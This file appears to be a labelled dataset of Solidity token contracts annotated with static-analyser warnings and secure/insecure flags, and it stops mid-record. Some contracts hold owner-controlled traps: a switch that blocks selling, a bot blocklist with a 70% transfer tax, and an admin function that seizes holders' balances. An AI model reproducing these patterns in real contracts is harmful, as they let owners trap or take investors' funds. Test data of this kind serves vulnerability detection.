{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"./IdexFacotry.sol\" as IdexFacotry;\nimport \"./IDexRouter.sol\" as IDexRouter;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract XMOSTAR is Context, IERC20, Ownable {\n using SafeMath for uint256;\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n\t// WARNING Optimization Issue (immutable-states | ID: 0a5b440): XMOSTAR.dexRouter should be immutable \n\t// Recommendation for 0a5b440: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IDexRouter public dexRouter;\n\t// WARNING Optimization Issue (immutable-states | ID: 9b754a6): XMOSTAR.dexPair should be immutable \n\t// Recommendation for 9b754a6: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public dexPair;\n\n string private _name;\n string private _symbol;\n\t// WARNING Optimization Issue (immutable-states | ID: 9136285): XMOSTAR._decimals should be immutable \n\t// Recommendation for 9136285: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 private _decimals;\n\t// WARNING Optimization Issue (immutable-states | ID: 65cfe28): XMOSTAR._totalSupply should be immutable \n\t// Recommendation for 65cfe28: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _totalSupply;\n\n bool public _limitonbuys = true;\n\n constructor() {\n _name = \"XMOSTAR\";\n _symbol = \"XMO\";\n _decimals = 18;\n _totalSupply = 1000000000 * 1e18;\n\n _balances[owner()] = _totalSupply.mul(1000).div(1e3);\n\n IDexRouter _dexRouter = IDexRouter(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n dexPair = IdexFacotry(_dexRouter.factory()).createPair(\n address(this),\n _dexRouter.WETH()\n );\n\n dexRouter = _dexRouter;\n\n emit Transfer(address(this), owner(), _totalSupply.mul(1000).div(1e3));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: ce80bf2): XMOSTAR.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for ce80bf2: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n function limitonbuys(bool value) external onlyOwner {\n _limitonbuys = value;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n require(\n currentAllowance >= amount,\n \"WE: transfer amount exceeds allowance\"\n );\n unchecked {\n _approve(sender, _msgSender(), currentAllowance - amount);\n }\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][spender];\n require(\n currentAllowance >= subtractedValue,\n \"WE: decreased allowance below zero\"\n );\n unchecked {\n _approve(_msgSender(), spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"WE: transfer from the zero address\");\n require(recipient != address(0), \"WE: transfer to the zero address\");\n require(amount > 0, \"WE: Transfer amount must be greater than zero\");\n\n if (!_limitonbuys && sender != owner() && recipient != owner()) {\n require(recipient != dexPair, \" WE:antuwhale is not enabled\");\n }\n _beforeTokenTransfer(sender, recipient, amount);\n\n uint256 senderBalance = _balances[sender];\n require(senderBalance >= amount, \"WE: transfer amount exceeds balance\");\n unchecked {\n _balances[sender] = senderBalance - amount;\n }\n _balances[recipient] += amount;\n\n emit Transfer(sender, recipient, amount);\n\n _afterTokenTransfer(sender, recipient, amount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: e60d802): XMOSTAR._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for e60d802: Rename the local variables that shadow another component.\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"BEP20: approve from the zero address\");\n require(spender != address(0), \"BEP20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}", "file_name": "solidity_code_3024.sol", "secure": 0, "size_bytes": 7072 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract TRUMPDOG is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: caf1f67): TRUMPDOG._taxWallet should be immutable \n\t// Recommendation for caf1f67: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9beeec1): TRUMPDOG._initialBuyTax should be constant \n\t// Recommendation for 9beeec1: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: cb76b96): TRUMPDOG._initialSellTax should be constant \n\t// Recommendation for cb76b96: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 25;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: e14a7c5): TRUMPDOG._reduceBuyTaxAt should be constant \n\t// Recommendation for e14a7c5: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: c91a35b): TRUMPDOG._reduceSellTaxAt should be constant \n\t// Recommendation for c91a35b: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: 13084d4): TRUMPDOG._preventSwapBefore should be constant \n\t// Recommendation for 13084d4: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 26;\n\n uint256 private _transferTax = 70;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420690000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"DogWifTrump\";\n\n string private constant _symbol = unicode\"DOGWIFTRUMP\";\n\n uint256 public _maxTxAmount = 4206900000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 4206900000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9931706): TRUMPDOG._taxSwapThreshold should be constant \n\t// Recommendation for 9931706: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 4206900000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: a95ba01): TRUMPDOG._maxTaxSwap should be constant \n\t// Recommendation for a95ba01: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 4206900000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n\n event TransferTaxUpdated(uint256 _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 1df4130): TRUMPDOG.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 1df4130: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 6ddff36): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 6ddff36: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 780c5b0): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 780c5b0: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 6ddff36\n\t\t// reentrancy-benign | ID: 780c5b0\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 6ddff36\n\t\t// reentrancy-benign | ID: 780c5b0\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 15afbd9): TRUMPDOG._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 15afbd9: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 780c5b0\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 6ddff36\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 048cf44): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 048cf44: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 4d48896): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 4d48896: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 048cf44\n\t\t\t\t// reentrancy-eth | ID: 4d48896\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 048cf44\n\t\t\t\t\t// reentrancy-eth | ID: 4d48896\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 4d48896\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 4d48896\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 4d48896\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 048cf44\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 4d48896\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 4d48896\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 048cf44\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 048cf44\n\t\t// reentrancy-events | ID: 6ddff36\n\t\t// reentrancy-benign | ID: 780c5b0\n\t\t// reentrancy-eth | ID: 4d48896\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: d4317f8): TRUMPDOG.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for d4317f8: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 048cf44\n\t\t// reentrancy-events | ID: 6ddff36\n\t\t// reentrancy-eth | ID: 4d48896\n\t\t// arbitrary-send-eth | ID: d4317f8\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint256 i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint256 i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 8d71301): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 8d71301: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: a955751): TRUMPDOG.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for a955751: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 8765e14): TRUMPDOG.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 8765e14: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 24b5b6f): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 24b5b6f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 8d71301\n\t\t// reentrancy-eth | ID: 24b5b6f\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 8d71301\n\t\t// unused-return | ID: 8765e14\n\t\t// reentrancy-eth | ID: 24b5b6f\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 8d71301\n\t\t// unused-return | ID: a955751\n\t\t// reentrancy-eth | ID: 24b5b6f\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint256).max);\n\n\t\t// reentrancy-benign | ID: 8d71301\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 24b5b6f\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}", "file_name": "solidity_code_3025.sol", "secure": 0, "size_bytes": 17580 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol\" as ERC20Burnable;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract MetaDog is ERC20, ERC20Burnable, Ownable {\n constructor() ERC20(\"MetaDog\", \"MTG\") {\n _mint(msg.sender, 1000000000 * 10 ** decimals());\n }\n\n function mint(address to, uint256 amount) public onlyOwner {\n _mint(to, amount);\n }\n}", "file_name": "solidity_code_3026.sol", "secure": 1, "size_bytes": 556 }
{ "code": "// SPDX-License-Identifier: No License\n\npragma solidity ^0.8.0;\n\nimport \"./StandardToken.sol\" as StandardToken;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract MintableToken is StandardToken, Ownable {\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n totalSupply += amount;\n balances[account] += amount;\n emit Transfer(address(0), account, amount);\n }\n}", "file_name": "solidity_code_3027.sol", "secure": 1, "size_bytes": 515 }
{ "code": "// SPDX-License-Identifier: No License\n\npragma solidity ^0.8.0;\n\nimport \"./MintableToken.sol\" as MintableToken;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract ValueCoin is MintableToken {\n using SafeMath for uint256;\n\n\t// WARNING Optimization Issue (constable-states | ID: 79aa289): ValueCoin.totalTokensAmount should be constant \n\t// Recommendation for 79aa289: Add the 'constant' attribute to state variables that never change.\n uint256 public totalTokensAmount = 41000000;\n\n\t// WARNING Optimization Issue (constable-states | ID: aa67be3): ValueCoin.name should be constant \n\t// Recommendation for aa67be3: Add the 'constant' attribute to state variables that never change.\n string public name = \"Value Coin\";\n\t// WARNING Optimization Issue (constable-states | ID: fb0e97a): ValueCoin.symbol should be constant \n\t// Recommendation for fb0e97a: Add the 'constant' attribute to state variables that never change.\n string public symbol = \"VALUE\";\n\t// WARNING Optimization Issue (constable-states | ID: c8d74c6): ValueCoin.decimals should be constant \n\t// Recommendation for c8d74c6: Add the 'constant' attribute to state variables that never change.\n uint8 public decimals = 18;\n\n constructor() {\n _mint(owner, totalTokensAmount * (10 ** uint256(decimals)));\n }\n\n function getTokenDetail()\n public\n view\n virtual\n returns (string memory, string memory, uint256)\n {\n return (name, symbol, totalSupply);\n }\n}", "file_name": "solidity_code_3028.sol", "secure": 1, "size_bytes": 1546 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol\" as ERC20Burnable;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract ANRK is ERC20, ERC20Burnable, Ownable {\n constructor() ERC20(\"Anarkoin\", \"ANRK\") {\n _mint(msg.sender, 100000000000 * 10 ** decimals());\n }\n\n function mint(address to, uint256 amount) public onlyOwner {\n _mint(to, amount);\n }\n}", "file_name": "solidity_code_3029.sol", "secure": 1, "size_bytes": 557 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ncontract Ownable {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n _owner = msg.sender;\n\n emit OwnershipTransferred(address(0), _owner);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(isOwner());\n\n _;\n }\n\n function isOwner() private view returns (bool) {\n return msg.sender == _owner;\n }\n\n function renounceOwnership() public onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n\n function transferOwnership(address newOwner) public onlyOwner {\n _transferOwnership(newOwner);\n }\n\n function _transferOwnership(address newOwner) internal {\n require(newOwner != address(0));\n\n emit OwnershipTransferred(_owner, newOwner);\n\n _owner = newOwner;\n }\n}", "file_name": "solidity_code_303.sol", "secure": 1, "size_bytes": 1081 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nlibrary UniswapV2Library {\n function sortTokens(\n address tokenA,\n address tokenB\n ) internal pure returns (address token0, address token1) {\n require(tokenA != tokenB, \"UniswapV2Library: IDENTICAL_ADDRESSES\");\n (token0, token1) = tokenA < tokenB\n ? (tokenA, tokenB)\n : (tokenB, tokenA);\n require(token0 != address(0), \"UniswapV2Library: ZERO_ADDRESS\");\n }\n\n function pairFor(\n bytes32 initCodeHash,\n address factory,\n address tokenA,\n address tokenB\n ) internal pure returns (address pair) {\n (address token0, address token1) = sortTokens(tokenA, tokenB);\n pair = address(\n uint160(\n uint256(\n keccak256(\n abi.encodePacked(\n hex\"ff\",\n factory,\n keccak256(abi.encodePacked(token0, token1)),\n initCodeHash\n )\n )\n )\n )\n );\n }\n}", "file_name": "solidity_code_3030.sol", "secure": 1, "size_bytes": 1189 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nlibrary UniswapV3Library {\n bytes32 internal constant POOL_INIT_CODE_HASH =\n 0xe34f199b19b2b4f47f68442619d555527d244f78a3297ea89325f843f87b8b54;\n\n struct PoolKey {\n address token0;\n address token1;\n uint24 fee;\n }\n\n function getPoolKey(\n address tokenA,\n address tokenB,\n uint24 fee\n ) internal pure returns (PoolKey memory) {\n if (tokenA > tokenB) (tokenA, tokenB) = (tokenB, tokenA);\n return PoolKey({token0: tokenA, token1: tokenB, fee: fee});\n }\n\n function computeAddress(\n address factory,\n PoolKey memory key\n ) internal pure returns (address pool) {\n require(key.token0 < key.token1);\n pool = address(\n uint160(\n uint256(\n keccak256(\n abi.encodePacked(\n hex\"ff\",\n factory,\n keccak256(\n abi.encode(key.token0, key.token1, key.fee)\n ),\n POOL_INIT_CODE_HASH\n )\n )\n )\n )\n );\n }\n}", "file_name": "solidity_code_3031.sol", "secure": 1, "size_bytes": 1312 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IPLPS {\n function LiquidityProtection_beforeTokenTransfer(\n address _pool,\n address _from,\n address _to,\n uint256 _amount\n ) external;\n function isBlocked(\n address _pool,\n address _who\n ) external view returns (bool);\n function unblock(address _pool, address _who) external;\n}", "file_name": "solidity_code_3032.sol", "secure": 1, "size_bytes": 418 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./UniswapV2Library.sol\" as UniswapV2Library;\nimport \"./UniswapV3Library.sol\" as UniswapV3Library;\nimport \"./IPLPS.sol\" as IPLPS;\n\nabstract contract UsingLiquidityProtectionService {\n bool private protected = true;\n uint64 internal constant HUNDRED_PERCENT = 1e18;\n bytes32 internal constant UNISWAP =\n 0x96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f;\n bytes32 internal constant PANCAKESWAP =\n 0x00fb7f630766e6a796048ea87d01acd3068e8ff67d078148a3fa3f4a84f69bd5;\n bytes32 internal constant QUICKSWAP =\n 0x96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f;\n\n enum UniswapVersion {\n V2,\n V3\n }\n\n enum UniswapV3Fees {\n _005,\n _03,\n _1\n }\n\n modifier onlyProtectionAdmin() {\n protectionAdminCheck();\n _;\n }\n\n function token_transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual;\n function token_balanceOf(\n address holder\n ) internal view virtual returns (uint256);\n function protectionAdminCheck() internal view virtual;\n function liquidityProtectionService()\n internal\n pure\n virtual\n returns (address);\n function uniswapVariety() internal pure virtual returns (bytes32);\n function uniswapVersion() internal pure virtual returns (UniswapVersion);\n function uniswapFactory() internal pure virtual returns (address);\n function counterToken() internal pure virtual returns (address) {\n return 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;\n }\n function uniswapV3Fee() internal pure virtual returns (UniswapV3Fees) {\n return UniswapV3Fees._03;\n }\n function protectionChecker() internal view virtual returns (bool) {\n return ProtectionSwitch_manual();\n }\n\n function lps() private pure returns (IPLPS) {\n return IPLPS(liquidityProtectionService());\n }\n\n\t// WARNING Vulnerability (calls-loop | severity: Low | ID: bbf1e6a): Calls inside a loop might lead to a denial-of-service attack.\n\t// Recommendation for bbf1e6a: Favor pull over push strategy for external calls.\n function LiquidityProtection_beforeTokenTransfer(\n address _from,\n address _to,\n uint256 _amount\n ) internal virtual {\n if (protectionChecker()) {\n if (!protected) {\n return;\n }\n\t\t\t// calls-loop | ID: bbf1e6a\n lps().LiquidityProtection_beforeTokenTransfer(\n getLiquidityPool(),\n _from,\n _to,\n _amount\n );\n }\n }\n\n\t// WARNING Vulnerability (calls-loop | severity: Low | ID: 7812146): UsingLiquidityProtectionService.revokeBlocked(address[],address) has external calls inside a loop lps().isBlocked(pool,holder)\n\t// Recommendation for 7812146: Favor pull over push strategy for external calls.\n function revokeBlocked(\n address[] calldata _holders,\n address _revokeTo\n ) external onlyProtectionAdmin {\n require(\n protectionChecker(),\n \"UsingLiquidityProtectionService: protection removed\"\n );\n protected = false;\n address pool = getLiquidityPool();\n for (uint256 i = 0; i < _holders.length; i++) {\n address holder = _holders[i];\n\t\t\t// calls-loop | ID: 7812146\n if (lps().isBlocked(pool, holder)) {\n token_transfer(holder, _revokeTo, token_balanceOf(holder));\n }\n }\n protected = true;\n }\n\n\t// WARNING Vulnerability 